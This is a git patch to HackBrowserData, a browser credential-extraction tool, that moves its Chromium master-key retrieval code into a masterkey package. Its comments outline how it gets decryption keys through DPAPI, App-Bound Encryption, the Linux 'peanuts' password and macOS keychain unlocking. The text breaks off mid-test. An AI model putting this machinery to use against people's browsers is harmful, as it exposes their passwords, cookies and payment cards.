From c4443148322182b12980620ffba5921ecd4636f5 Mon Sep 17 00:00:00 2001 From: Roger Date: Mon, 1 Jun 2026 16:08:32 +0800 Subject: [PATCH] refactor: extract master-key code into masterkey package (#604) --- .golangci.yml | 13 +++- CLAUDE.md | 2 +- browser/browser.go | 78 +++++-------------- browser/browser_darwin.go | 23 ++---- browser/browser_linux.go | 15 ++-- browser/browser_test.go | 36 ++++----- browser/browser_windows.go | 14 ++-- browser/chromium/chromium.go | 52 ++++++------- browser/chromium/chromium_test.go | 50 ++++++------ browser/chromium/decrypt.go | 18 ++--- browser/chromium/decrypt_mixed_test.go | 10 +-- browser/chromium/decrypt_test.go | 14 ++-- browser/chromium/decrypt_v20_test.go | 6 +- browser/chromium/decrypt_windows_test.go | 6 +- browser/chromium/extract_cookie.go | 6 +- browser/chromium/extract_cookie_test.go | 4 +- browser/chromium/extract_creditcard.go | 10 +-- browser/chromium/extract_creditcard_test.go | 8 +- browser/chromium/extract_password.go | 14 ++-- browser/chromium/extract_password_test.go | 10 +-- browser/chromium/profile.go | 16 ++-- browser/chromium/profile_test.go | 6 +- browser/chromium/source.go | 18 ++--- browser/keydump.go | 57 ++++++-------- browser/keydump_test.go | 70 ++++++++--------- browser/safari/extract_password.go | 16 +--- cmd/hack-browser-data/dump.go | 2 +- cmd/hack-browser-data/keys.go | 8 +- cmd/hack-browser-data/list.go | 2 +- crypto/keyretriever/keyretriever.go | 59 -------------- crypto/keyretriever/masterkeys.go | 57 -------------- crypto/keyretriever/static.go | 23 ------ .../keyretriever => masterkey}/abe_windows.go | 2 +- {crypto/keyretriever => masterkey}/dump.go | 13 ++-- .../keyretriever => masterkey}/dump_test.go | 2 +- .../gcoredump_darwin.go | 22 ++---- masterkey/masterkeys.go | 53 +++++++++++++ .../masterkeys_test.go | 2 +- {crypto/keyretriever => masterkey}/params.go | 6 +- masterkey/retriever.go | 49 ++++++++++++ .../retriever_darwin.go | 46 ++++------- .../retriever_darwin_test.go | 2 +- .../retriever_linux.go | 22 ++---- .../retriever_linux_test.go | 2 +- .../retriever_test.go | 2 +- .../retriever_windows.go | 13 +--- masterkey/static.go | 19 +++++ rfcs/001-project-architecture.md | 19 ++--- rfcs/006-key-retrieval-mechanisms.md | 24 +++--- rfcs/010-chrome-abe-integration.md | 8 +- 50 files changed, 449 insertions(+), 580 deletions(-) delete mode 100644 crypto/keyretriever/keyretriever.go delete mode 100644 crypto/keyretriever/masterkeys.go delete mode 100644 crypto/keyretriever/static.go rename {crypto/keyretriever => masterkey}/abe_windows.go (99%) rename {crypto/keyretriever => masterkey}/dump.go (71%) rename {crypto/keyretriever => masterkey}/dump_test.go (98%) rename {crypto/keyretriever => masterkey}/gcoredump_darwin.go (88%) create mode 100644 masterkey/masterkeys.go rename {crypto/keyretriever => masterkey}/masterkeys_test.go (99%) rename {crypto/keyretriever => masterkey}/params.go (61%) create mode 100644 masterkey/retriever.go rename crypto/keyretriever/keyretriever_darwin.go => masterkey/retriever_darwin.go (66%) rename crypto/keyretriever/keyretriever_darwin_test.go => masterkey/retriever_darwin_test.go (98%) rename crypto/keyretriever/keyretriever_linux.go => masterkey/retriever_linux.go (64%) rename crypto/keyretriever/keyretriever_linux_test.go => masterkey/retriever_linux_test.go (99%) rename crypto/keyretriever/keyretriever_test.go => masterkey/retriever_test.go (98%) rename crypto/keyretriever/keyretriever_windows.go => masterkey/retriever_windows.go (67%) create mode 100644 masterkey/static.go diff --git a/.golangci.yml b/.golangci.yml index 8d44410..e807e45 100644 --- a/.golangci.yml +++ b/.golangci.yml @@ -79,15 +79,21 @@ linters: funlen: lines: -1 statements: 50 + # goconst kept deliberately lenient (above the default min-occurrences: 3) — short, repeated + # literals like test fixtures and scheme strings aren't worth extracting into named constants. goconst: - min-len: 2 - min-occurrences: 3 + min-len: 5 + min-occurrences: 5 ignore-string-values: - "all" - "csv" - "json" - "https" - "http" + # browser registry keys/names — declarative table, not worth constants + - "chrome" + - "Chrome" + - "firefox" gocritic: enabled-tags: - diagnostic @@ -164,6 +170,7 @@ linters: - gosec - errcheck - lll + - goconst - source: "defer" linters: - errcheck @@ -173,7 +180,7 @@ linters: - path: "cmd/hack-browser-data/main.go" linters: - lll - - path: "crypto/keyretriever/gcoredump_darwin.go" + - path: "masterkey/gcoredump_darwin.go" linters: - gocognit diff --git a/CLAUDE.md b/CLAUDE.md index 84cd2b0..21c9ee4 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -63,7 +63,7 @@ make payload-clean # rm crypto/*.bin - **Error handling**: `fmt.Errorf("context: %w", err)` for wrapping, never `_ =` to ignore errors - **Logging**: `log.Debugf` for record-level diagnostics, `log.Infof` for user-facing progress/status, `log.Warnf` for unexpected conditions. Extract methods should return errors, not log them. - **Naming**: follow Go conventions — `Config` not `BrowserConfig`, `Extract` not `BrowsingData` -- **Comment width**: wrap comments at 120 columns (matches `.golangci.yml` `lll.line-length`) +- **Comment width**: wrap comments at 140 columns (matches `.golangci.yml` `lll.line-length`) - **Tests**: use `t.TempDir()` for filesystem tests, `go-sqlmock` for database tests - **Architecture**: see `rfcs/` for design documents diff --git a/browser/browser.go b/browser/browser.go index 146e69c..a3b689e 100644 --- a/browser/browser.go +++ b/browser/browser.go @@ -9,14 +9,12 @@ import ( "github.com/moond4rk/hackbrowserdata/browser/chromium" "github.com/moond4rk/hackbrowserdata/browser/firefox" "github.com/moond4rk/hackbrowserdata/browser/safari" - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/log" + "github.com/moond4rk/hackbrowserdata/masterkey" "github.com/moond4rk/hackbrowserdata/types" ) -// Browser is one installation: a single resolved UserDataDir that holds its -// profiles and, for Chromium, owns the master key shared across them. It is -// implemented by chromium.Browser, firefox.Browser, and safari.Browser. +// Browser is one installation: a UserDataDir holding profiles that (for Chromium) share one master key. type Browser interface { BrowserName() string UserDataDir() string @@ -25,31 +23,18 @@ type Browser interface { CountEntries(categories []types.Category) ([]types.CountResult, error) } -// PickOptions configures which browsers to pick. -type PickOptions struct { - Name string // browser name filter: "all"|"chrome"|"firefox"|... - ProfilePath string // custom profile directory override +type DiscoverOptions struct { + Name string // "all"|"chrome"|"firefox"|... + ProfilePath string // custom profile dir override KeychainPassword string // macOS only — see browser_darwin.go } -// browserInjector wires decryption credentials (key retrievers and, on macOS, -// the Keychain password) into a discovered Browser. Its construction is -// platform-specific; see newCredentialInjector in browser_{darwin,linux,windows}.go. +// browserInjector injects decryption credentials into a Browser; built per-platform by newCredentialInjector. type browserInjector func(Browser) -// DiscoverBrowsersWithKeys returns installations that are fully wired up for Extract: the -// key retriever chain and (on macOS) the Keychain password are already -// injected, so the caller can call b.Extract directly. This is the entry -// point for extraction workflows like `dump`. -// -// On macOS this may trigger an interactive prompt for the login password -// when the target set includes a Chromium variant or Safari. Commands that -// only need metadata (name, profile path, per-category counts) should use -// DiscoverBrowsers instead to skip injection — and thereby the prompt. -// -// When Name is "all", all known browsers are tried. ProfilePath overrides -// the default user data directory (only when targeting a specific browser). -func DiscoverBrowsersWithKeys(opts PickOptions) ([]Browser, error) { +// DiscoverBrowsersWithKeys is DiscoverBrowsers plus credential injection, so the returned installations are ready for Extract. +// On macOS it may prompt for the login password — metadata-only callers should use DiscoverBrowsers to avoid the prompt. +func DiscoverBrowsersWithKeys(opts DiscoverOptions) ([]Browser, error) { browsers, err := DiscoverBrowsers(opts) if err != nil { return nil, err @@ -61,24 +46,14 @@ func DiscoverBrowsersWithKeys(opts PickOptions) ([]Browser, error) { return browsers, nil } -// DiscoverBrowsers returns installations for metadata-only workflows — listing, -// profile paths, per-category counts. Decryption dependencies are NOT -// injected, so calling b.Extract on the returned browsers will not -// successfully decrypt protected data (passwords, cookies, credit cards). -// CountEntries, BrowserName, and Profiles all work correctly without injection. -// -// Unlike DiscoverBrowsersWithKeys, DiscoverBrowsers never prompts for the macOS -// Keychain password, making it the correct choice for `list`-style -// commands that have no use for the credential. -func DiscoverBrowsers(opts PickOptions) ([]Browser, error) { - return pickFromConfigs(platformBrowsers(), opts) +// DiscoverBrowsers skips credential injection: metadata (Profiles, CountEntries) works, Extract won't decrypt protected data, +// and macOS never prompts. Use it for list-style commands. +func DiscoverBrowsers(opts DiscoverOptions) ([]Browser, error) { + return discoverFromConfigs(platformBrowsers(), opts) } -// pickFromConfigs is the testable core of DiscoverBrowsers: it filters the -// platform browser list and discovers each matching installation (one Browser -// per UserDataDir, holding its profiles). Dependency injection (key retrievers, -// keychain credentials) is intentionally NOT done here. -func pickFromConfigs(configs []types.BrowserConfig, opts PickOptions) ([]Browser, error) { +// discoverFromConfigs is the testable core of DiscoverBrowsers; it deliberately does no credential injection. +func discoverFromConfigs(configs []types.BrowserConfig, opts DiscoverOptions) ([]Browser, error) { name := strings.ToLower(opts.Name) if name == "" { name = "all" @@ -92,7 +67,6 @@ func pickFromConfigs(configs []types.BrowserConfig, opts PickOptions) ([]Browser continue } - // Override profile directory when targeting a specific browser. if opts.ProfilePath != "" && name != "all" { if cfg.Kind == types.Firefox { cfg.UserDataDir = filepath.Dir(filepath.Clean(opts.ProfilePath)) @@ -116,10 +90,10 @@ func pickFromConfigs(configs []types.BrowserConfig, opts PickOptions) ([]Browser return browsers, nil } -// KeyManager is implemented by installations that accept externally-provided master-key retrievers (Chromium family only). +// KeyManager is implemented by installations accepting external master-key retrievers (Chromium only). type KeyManager interface { - SetKeyRetrievers(keyretriever.Retrievers) - ExportKeys() (keyretriever.MasterKeys, error) + SetRetrievers(masterkey.Retrievers) + ExportKeys() (masterkey.MasterKeys, error) } // KeychainPasswordReceiver is implemented by installations that need the macOS login password (Safari only). @@ -127,17 +101,8 @@ type KeychainPasswordReceiver interface { SetKeychainPassword(string) } -// resolveGlobs expands glob patterns in browser configs' UserDataDir. -// This supports MSIX/UWP browsers on Windows whose package directories -// contain a dynamic publisher hash suffix (e.g., "TheBrowserCompany.Arc_*"). -// -// For literal paths (no glob metacharacters), Glob returns the path itself -// when it exists, so the config passes through unchanged. When a path does -// not exist and contains no metacharacters, Glob returns nil and the -// original config is preserved — the main loop handles "not found" as usual. -// -// When a glob matches multiple directories, the config is duplicated so -// each resolved path is treated as a separate browser data directory. +// resolveGlobs expands UserDataDir glob patterns for Windows MSIX/UWP browsers whose package dirs carry a dynamic +// publisher-hash suffix (e.g. "TheBrowserCompany.Arc_*"). A glob matching N dirs yields N configs. func resolveGlobs(configs []types.BrowserConfig) []types.BrowserConfig { var out []types.BrowserConfig for _, cfg := range configs { @@ -155,8 +120,7 @@ func resolveGlobs(configs []types.BrowserConfig) []types.BrowserConfig { return out } -// newBrowser dispatches to the correct engine based on BrowserKind and returns -// one installation, or a nil Browser when no profile was found. +// newBrowser dispatches on BrowserKind, returning a nil Browser when no profile is found. func newBrowser(cfg types.BrowserConfig) (Browser, error) { switch cfg.Kind { case types.Chromium, types.ChromiumYandex, types.ChromiumOpera: diff --git a/browser/browser_darwin.go b/browser/browser_darwin.go index 889c923..1f258ba 100644 --- a/browser/browser_darwin.go +++ b/browser/browser_darwin.go @@ -9,8 +9,8 @@ import ( "github.com/moond4rk/keychainbreaker" "golang.org/x/term" - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/log" + "github.com/moond4rk/hackbrowserdata/masterkey" "github.com/moond4rk/hackbrowserdata/types" ) @@ -108,13 +108,8 @@ func platformBrowsers() []types.BrowserConfig { } } -// resolveKeychainPassword returns the keychain password for macOS. -// If not provided via CLI flag, it prompts interactively when stdin is a TTY. -// After obtaining the password, it verifies against keychainbreaker; on any -// failure it returns "" so downstream code enters "no password" mode rather -// than propagating a known-bad credential. Safari then exports -// keychain-protected entries as metadata-only via keychainbreaker's partial -// extraction mode; Chromium falls back to SecurityCmdRetriever. +// resolveKeychainPassword resolves the macOS login password (CLI flag, else TTY prompt) and verifies it against +// keychainbreaker. On any failure it returns "" so callers fall back to no-password mode rather than a known-bad credential. func resolveKeychainPassword(flagPassword string) string { password := flagPassword if password == "" { @@ -137,10 +132,6 @@ func resolveKeychainPassword(flagPassword string) string { return "" } - // Verify early: try to unlock keychain with keychainbreaker. On failure - // return "" so KeychainPasswordRetriever and Safari both skip the credential - // and rely on their respective fallback paths (SecurityCmdRetriever for - // Chromium, metadata-only export for Safari). kc, err := keychainbreaker.Open() if err != nil { log.Warnf("keychain open failed: %v; keychain-protected data will be exported as metadata only", err) @@ -157,10 +148,10 @@ func resolveKeychainPassword(flagPassword string) string { // newCredentialInjector lazily wires retrievers (and the macOS keychain password) into each Browser; // `-b firefox` never triggers a keychain prompt because lazy resolution skips browsers that need neither. -func newCredentialInjector(opts PickOptions) browserInjector { +func newCredentialInjector(opts DiscoverOptions) browserInjector { var ( password string - retrievers keyretriever.Retrievers + retrievers masterkey.Retrievers resolved bool ) return func(b Browser) { @@ -171,11 +162,11 @@ func newCredentialInjector(opts PickOptions) browserInjector { } if !resolved { password = resolveKeychainPassword(opts.KeychainPassword) - retrievers = keyretriever.DefaultRetrievers(password) + retrievers = masterkey.DefaultRetrievers(password) resolved = true } if needsRetrievers { - km.SetKeyRetrievers(retrievers) + km.SetRetrievers(retrievers) } if needsKeychainPassword { kps.SetKeychainPassword(password) diff --git a/browser/browser_linux.go b/browser/browser_linux.go index 4e48c6f..f7a5df9 100644 --- a/browser/browser_linux.go +++ b/browser/browser_linux.go @@ -3,7 +3,7 @@ package browser import ( - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" + "github.com/moond4rk/hackbrowserdata/masterkey" "github.com/moond4rk/hackbrowserdata/types" ) @@ -67,16 +67,13 @@ func platformBrowsers() []types.BrowserConfig { } } -// newCredentialInjector returns a closure that wires the Linux Chromium master-key retrievers into -// each Browser. Linux has two tiers: V10 uses the "peanuts" hardcoded password (kV10Key); V11 -// uses the D-Bus Secret Service keyring (kV11Key). V20 is nil — App-Bound Encryption is Windows- -// only. Both V10 and V11 run independently so a profile carrying mixed cipher prefixes decrypts -// both tiers. -func newCredentialInjector(_ PickOptions) browserInjector { - retrievers := keyretriever.DefaultRetrievers() +// newCredentialInjector wires the Linux Chromium retrievers: V10 ("peanuts" hardcoded) and V11 (D-Bus Secret Service), +// run independently for mixed-cipher profiles. V20 is nil — App-Bound Encryption is Windows-only. +func newCredentialInjector(_ DiscoverOptions) browserInjector { + retrievers := masterkey.DefaultRetrievers() return func(b Browser) { if km, ok := b.(KeyManager); ok { - km.SetKeyRetrievers(retrievers) + km.SetRetrievers(retrievers) } } } diff --git a/browser/browser_test.go b/browser/browser_test.go index 35be7a0..8049a86 100644 --- a/browser/browser_test.go +++ b/browser/browser_test.go @@ -28,7 +28,7 @@ func TestListBrowsers(t *testing.T) { type pickTest struct { name string configs []types.BrowserConfig - opts PickOptions + opts DiscoverOptions wantNames []string wantProfiles []string } @@ -37,7 +37,7 @@ func runPickTests(t *testing.T, tests []pickTest) { t.Helper() for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - browsers, err := pickFromConfigs(tt.configs, tt.opts) + browsers, err := discoverFromConfigs(tt.configs, tt.opts) require.NoError(t, err) assertBrowsers(t, browsers, tt.wantNames, tt.wantProfiles) }) @@ -90,28 +90,28 @@ func TestPickFromConfigs(t *testing.T) { { name: "exact match", configs: nameFilterConfigs, - opts: PickOptions{Name: "chrome"}, + opts: DiscoverOptions{Name: "chrome"}, wantNames: []string{"Chrome"}, wantProfiles: []string{"Default"}, }, { name: "case insensitive", configs: nameFilterConfigs, - opts: PickOptions{Name: "Chrome"}, + opts: DiscoverOptions{Name: "Chrome"}, wantNames: []string{"Chrome"}, wantProfiles: []string{"Default"}, }, { name: "all returns both", configs: nameFilterConfigs, - opts: PickOptions{Name: "all"}, + opts: DiscoverOptions{Name: "all"}, wantNames: []string{"Chrome", "Edge"}, wantProfiles: []string{"Default", "Default"}, }, { name: "unknown returns empty", configs: nameFilterConfigs, - opts: PickOptions{Name: "safari"}, + opts: DiscoverOptions{Name: "safari"}, }, }) }) @@ -123,7 +123,7 @@ func TestPickFromConfigs(t *testing.T) { configs: []types.BrowserConfig{ {Key: "chrome", Name: "Chrome", Kind: types.Chromium, UserDataDir: chromeDir}, }, - opts: PickOptions{Name: "all"}, + opts: DiscoverOptions{Name: "all"}, wantNames: []string{"Chrome", "Chrome"}, wantProfiles: []string{"Default", "Profile 1"}, }, @@ -132,7 +132,7 @@ func TestPickFromConfigs(t *testing.T) { configs: []types.BrowserConfig{ {Key: "firefox", Name: "Firefox", Kind: types.Firefox, UserDataDir: firefoxDir}, }, - opts: PickOptions{Name: "all"}, + opts: DiscoverOptions{Name: "all"}, wantNames: []string{"Firefox"}, wantProfiles: []string{"abc123.default-release"}, }, @@ -141,7 +141,7 @@ func TestPickFromConfigs(t *testing.T) { configs: []types.BrowserConfig{ {Key: "yandex", Name: "Yandex", Kind: types.ChromiumYandex, UserDataDir: yandexDir}, }, - opts: PickOptions{Name: "all"}, + opts: DiscoverOptions{Name: "all"}, wantNames: []string{"Yandex"}, wantProfiles: []string{"Default"}, }, @@ -150,7 +150,7 @@ func TestPickFromConfigs(t *testing.T) { configs: []types.BrowserConfig{ {Key: "chrome", Name: "Chrome", Kind: types.Chromium, UserDataDir: "/nonexistent"}, }, - opts: PickOptions{Name: "all"}, + opts: DiscoverOptions{Name: "all"}, }, }) }) @@ -162,7 +162,7 @@ func TestPickFromConfigs(t *testing.T) { configs: []types.BrowserConfig{ {Key: "chrome", Name: "Chrome", Kind: types.Chromium, UserDataDir: "/wrong"}, }, - opts: PickOptions{Name: "chrome", ProfilePath: filepath.Join(chromeDir, "Default")}, + opts: DiscoverOptions{Name: "chrome", ProfilePath: filepath.Join(chromeDir, "Default")}, wantNames: []string{"Chrome"}, wantProfiles: []string{"Default"}, }, @@ -171,7 +171,7 @@ func TestPickFromConfigs(t *testing.T) { configs: []types.BrowserConfig{ {Key: "firefox", Name: "Firefox", Kind: types.Firefox, UserDataDir: "/wrong"}, }, - opts: PickOptions{Name: "firefox", ProfilePath: filepath.Join(firefoxDir, "abc123.default-release")}, + opts: DiscoverOptions{Name: "firefox", ProfilePath: filepath.Join(firefoxDir, "abc123.default-release")}, wantNames: []string{"Firefox"}, wantProfiles: []string{"abc123.default-release"}, }, @@ -180,7 +180,7 @@ func TestPickFromConfigs(t *testing.T) { configs: []types.BrowserConfig{ {Key: "chrome", Name: "Chrome", Kind: types.Chromium, UserDataDir: chromeDir}, }, - opts: PickOptions{Name: "all", ProfilePath: "/some/override"}, + opts: DiscoverOptions{Name: "all", ProfilePath: "/some/override"}, wantNames: []string{"Chrome", "Chrome"}, wantProfiles: []string{"Default", "Profile 1"}, }, @@ -194,7 +194,7 @@ func TestPickFromConfigs(t *testing.T) { configs: []types.BrowserConfig{ {Key: "solo", Name: "Solo", Kind: types.Chromium, UserDataDir: filepath.Join(globBase, "Solo.Browser_*", "UserData")}, }, - opts: PickOptions{Name: "all"}, + opts: DiscoverOptions{Name: "all"}, wantNames: []string{"Solo"}, wantProfiles: []string{"Default"}, }, @@ -203,7 +203,7 @@ func TestPickFromConfigs(t *testing.T) { configs: []types.BrowserConfig{ {Key: "arc", Name: "Arc", Kind: types.Chromium, UserDataDir: filepath.Join(globBase, "App.Browser_*", "UserData")}, }, - opts: PickOptions{Name: "all"}, + opts: DiscoverOptions{Name: "all"}, wantNames: []string{"Arc", "Arc"}, wantProfiles: []string{"Default", "Default"}, }, @@ -212,7 +212,7 @@ func TestPickFromConfigs(t *testing.T) { configs: []types.BrowserConfig{ {Key: "missing", Name: "Missing", Kind: types.Chromium, UserDataDir: filepath.Join(globBase, "NoSuch_*", "UserData")}, }, - opts: PickOptions{Name: "all"}, + opts: DiscoverOptions{Name: "all"}, }, { name: "mixed with literal", @@ -220,7 +220,7 @@ func TestPickFromConfigs(t *testing.T) { {Key: "chrome", Name: "Chrome", Kind: types.Chromium, UserDataDir: singleDir}, {Key: "arc", Name: "Arc", Kind: types.Chromium, UserDataDir: filepath.Join(globBase, "Solo.Browser_*", "UserData")}, }, - opts: PickOptions{Name: "all"}, + opts: DiscoverOptions{Name: "all"}, wantNames: []string{"Arc", "Chrome"}, wantProfiles: []string{"Default", "Default"}, }, @@ -230,7 +230,7 @@ func TestPickFromConfigs(t *testing.T) { {Key: "chrome", Name: "Chrome", Kind: types.Chromium, UserDataDir: singleDir}, {Key: "arc", Name: "Arc", Kind: types.Chromium, UserDataDir: filepath.Join(globBase, "App.Browser_*", "UserData")}, }, - opts: PickOptions{Name: "arc"}, + opts: DiscoverOptions{Name: "arc"}, wantNames: []string{"Arc", "Arc"}, wantProfiles: []string{"Default", "Default"}, }, diff --git a/browser/browser_windows.go b/browser/browser_windows.go index 678f4c5..7b2cd88 100644 --- a/browser/browser_windows.go +++ b/browser/browser_windows.go @@ -3,7 +3,7 @@ package browser import ( - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" + "github.com/moond4rk/hackbrowserdata/masterkey" "github.com/moond4rk/hackbrowserdata/types" ) @@ -125,15 +125,13 @@ func platformBrowsers() []types.BrowserConfig { } } -// newCredentialInjector returns a closure that wires the Windows v10 (DPAPI) and v20 (ABE) Chromium -// master-key retrievers into each Browser. Per issue #578 the two tiers are orthogonal — a single -// Chrome profile upgraded from pre-127 carries v20 cookies alongside v10 passwords — so both -// retrievers run independently rather than as a first-success chain. -func newCredentialInjector(_ PickOptions) browserInjector { - retrievers := keyretriever.DefaultRetrievers() +// newCredentialInjector wires the Windows Chromium retrievers: v10 (DPAPI) and v20 (ABE). The two tiers are orthogonal +// — a pre-127-upgraded profile carries v20 cookies alongside v10 passwords — so both run independently, not as a chain. +func newCredentialInjector(_ DiscoverOptions) browserInjector { + retrievers := masterkey.DefaultRetrievers() return func(b Browser) { if km, ok := b.(KeyManager); ok { - km.SetKeyRetrievers(retrievers) + km.SetRetrievers(retrievers) } } } diff --git a/browser/chromium/chromium.go b/browser/chromium/chromium.go index 0e947a0..2848915 100644 --- a/browser/chromium/chromium.go +++ b/browser/chromium/chromium.go @@ -6,9 +6,9 @@ import ( "sync" "time" - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/filemanager" "github.com/moond4rk/hackbrowserdata/log" + "github.com/moond4rk/hackbrowserdata/masterkey" "github.com/moond4rk/hackbrowserdata/types" "github.com/moond4rk/hackbrowserdata/utils/fileutil" ) @@ -17,16 +17,15 @@ import ( // that share a master key. The key is derived once and reused across profiles. type Browser struct { cfg types.BrowserConfig - retrievers keyretriever.Retrievers + retrievers masterkey.Retrievers profiles []*profile keysOnce sync.Once - keys keyretriever.MasterKeys + keys masterkey.MasterKeys } -// NewBrowser discovers the Chromium profiles under cfg.UserDataDir and returns -// the installation, or nil if no profile with resolvable sources exists. Call -// SetKeyRetrievers before Extract to enable decryption of sensitive data. +// NewBrowser discovers the profiles under cfg.UserDataDir, or returns nil if none resolve. +// Call SetRetrievers before Extract to enable decryption. func NewBrowser(cfg types.BrowserConfig) (*Browser, error) { sources := sourcesForKind(cfg.Kind) extractors := extractorsForKind(cfg.Kind) @@ -51,9 +50,9 @@ func NewBrowser(cfg types.BrowserConfig) (*Browser, error) { return &Browser{cfg: cfg, profiles: profiles}, nil } -// SetKeyRetrievers wires the per-tier master-key retrievers (V10/V11/V20) used by +// SetRetrievers wires the per-tier master-key retrievers (V10/V11/V20) used by // Extract; unused tiers stay nil. -func (b *Browser) SetKeyRetrievers(r keyretriever.Retrievers) { b.retrievers = r } +func (b *Browser) SetRetrievers(r masterkey.Retrievers) { b.retrievers = r } func (b *Browser) BrowserName() string { return b.cfg.Name } func (b *Browser) UserDataDir() string { return b.cfg.UserDataDir } @@ -69,12 +68,12 @@ func (b *Browser) Profiles() []types.Profile { // Extract derives the installation's master key once, then extracts every profile. func (b *Browser) Extract(categories []types.Category) ([]types.ExtractResult, error) { - keys := b.masterKeys() + masterKeys := b.masterKeys() results := make([]types.ExtractResult, 0, len(b.profiles)) for _, p := range b.profiles { results = append(results, types.ExtractResult{ Profile: types.Profile{Name: p.name(), Dir: p.profileDir}, - Data: p.extract(keys, categories), + Data: p.extract(masterKeys, categories), }) } return results, nil @@ -92,39 +91,34 @@ func (b *Browser) CountEntries(categories []types.Category) ([]types.CountResult return results, nil } -// ExportKeys derives the installation's master keys without extraction. Returns -// whatever tiers succeeded plus a joined error describing any failed tiers; -// callers preserve partial results because a Chrome 127+ installation mixes -// v10 + v20 ciphertexts and a v20-only failure must not erase a usable v10 key. -func (b *Browser) ExportKeys() (keyretriever.MasterKeys, error) { +// ExportKeys derives the master keys without extracting. Returns the tiers that succeeded plus a +// joined error for those that failed — partial results matter (a v20-only failure keeps the v10 key). +func (b *Browser) ExportKeys() (masterkey.MasterKeys, error) { session, err := filemanager.NewSession() if err != nil { - return keyretriever.MasterKeys{}, err + return masterkey.MasterKeys{}, err } defer session.Cleanup() - return keyretriever.NewMasterKeys(b.retrievers, b.buildHints(session)) + return masterkey.NewMasterKeys(b.retrievers, b.buildHints(session)) } -// masterKeys derives the installation's keys exactly once and caches them. -// Because derivation happens a single time per installation, a failure is warned -// exactly once — no cross-profile dedup state is needed. -func (b *Browser) masterKeys() keyretriever.MasterKeys { +// masterKeys derives and caches the installation's keys exactly once (sync.Once), so a failure is +// warned once — no cross-profile dedup state needed. +func (b *Browser) masterKeys() masterkey.MasterKeys { b.keysOnce.Do(func() { - keys, err := b.ExportKeys() + masterKeys, err := b.ExportKeys() if err != nil { log.Warnf("%s: master key retrieval: %v", b.BrowserName(), err) } - b.keys = keys + b.keys = masterKeys }) return b.keys } -// buildHints acquires Local State (into session.TempDir so Windows DPAPI/ABE -// retrievers can read it from a path the process owns) and assembles per-tier -// retriever hints. Local State lives at the installation root (cfg.UserDataDir) -// in both the multi-profile and flat (Opera) layouts. -func (b *Browser) buildHints(session *filemanager.Session) keyretriever.Hints { +// buildHints copies Local State into the session temp dir (so Windows DPAPI/ABE retrievers read it +// from a process-owned path) and assembles the Hints. Local State sits at the installation root. +func (b *Browser) buildHints(session *filemanager.Session) masterkey.Hints { var localStateDst string candidate := filepath.Join(b.cfg.UserDataDir, "Local State") if fileutil.FileExists(candidate) { @@ -140,7 +134,7 @@ func (b *Browser) buildHints(session *filemanager.Session) keyretriever.Hints { if b.cfg.WindowsABE { abeKey = b.cfg.Key } - return keyretriever.Hints{ + return masterkey.Hints{ KeychainLabel: b.cfg.KeychainLabel, WindowsABEKey: abeKey, LocalStatePath: localStateDst, diff --git a/browser/chromium/chromium_test.go b/browser/chromium/chromium_test.go index c8852df..1a4fff8 100644 --- a/browser/chromium/chromium_test.go +++ b/browser/chromium/chromium_test.go @@ -9,7 +9,7 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" - "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" + "github.com/moond4rk/hackbrowserdata/masterkey" "github.com/moond4rk/hackbrowserdata/types" ) @@ -380,21 +380,21 @@ func TestLocalStatePath(t *testing.T) { // mockRetriever records the arguments passed to RetrieveKey. type mockRetriever struct { - hints keyretriever.Hints + hints masterkey.Hints key []byte err error called bool } -func (m *mockRetriever) RetrieveKey(hints keyretriever.Hints) ([]byte, error) { +func (m *mockRetriever) RetrieveKey(hints masterkey.Hints) ([]byte, error) { m.called = true m.hints = hints return m.key, m.err } func TestGetMasterKeys(t *testing.T) { - // getMasterKeys routes through keyretriever.NewMasterKeys on every platform — the V10 mock - // wired via SetKeyRetrievers(Retrievers{V10: mock}) is consulted cross-platform. + // getMasterKeys routes through masterkey.NewMasterKeys on every platform — the V10 mock + // wired via SetRetrievers(Retrievers{V10: mock}) is consulted cross-platform. // Profile directory without Local State file. dirNoLocalState := t.TempDir() @@ -405,7 +405,7 @@ func TestGetMasterKeys(t *testing.T) { name string dir string keychainLabel string - retriever keyretriever.KeyRetriever // nil → don't call SetKeyRetrievers + retriever masterkey.Retriever // nil → don't call SetRetrievers wantV10 []byte wantKeychainLabel string wantLocalState bool // whether localStatePath passed to retriever is non-empty @@ -442,13 +442,13 @@ func TestGetMasterKeys(t *testing.T) { require.NotNil(t, b) if tt.retriever != nil { - b.SetKeyRetrievers(keyretriever.Retrievers{V10: tt.retriever}) + b.SetRetrievers(masterkey.Retrievers{V10: tt.retriever}) } - keys := b.masterKeys() - assert.Equal(t, tt.wantV10, keys.V10) - assert.Nil(t, keys.V11, "V11 stays nil when no v11 retriever is wired") - assert.Nil(t, keys.V20, "V20 stays nil when no v20 retriever is wired") + mk := b.masterKeys() + assert.Equal(t, tt.wantV10, mk.V10) + assert.Nil(t, mk.V11, "V11 stays nil when no v11 retriever is wired") + assert.Nil(t, mk.V20, "V20 stays nil when no v20 retriever is wired") if tt.retriever == nil { return @@ -470,7 +470,7 @@ func TestGetMasterKeys(t *testing.T) { // Before the refactor a Windows-only bypass meant only one tier's retriever was consulted, so a // profile mixing prefixes silently lost the un-retrieved tier. After the refactor every // configured tier must be called exactly once and its key must land in the matching MasterKeys -// slot. This catches any future "bypass keyretriever for a faster path" regression and covers the +// slot. This catches any future "bypass the masterkey package for a faster path" regression and covers the // analogous Linux v10/v11 case — no platform silently drops a tier any more. func TestGetMasterKeys_AllTiersInvoked(t *testing.T) { v10mock := &mockRetriever{key: []byte("fake-v10-key")} @@ -483,12 +483,12 @@ func TestGetMasterKeys_AllTiersInvoked(t *testing.T) { require.NoError(t, err) require.NotNil(t, b) - b.SetKeyRetrievers(keyretriever.Retrievers{V10: v10mock, V11: v11mock, V20: v20mock}) + b.SetRetrievers(masterkey.Retrievers{V10: v10mock, V11: v11mock, V20: v20mock}) - keys := b.masterKeys() - assert.Equal(t, []byte("fake-v10-key"), keys.V10, "V10 slot must be populated") - assert.Equal(t, 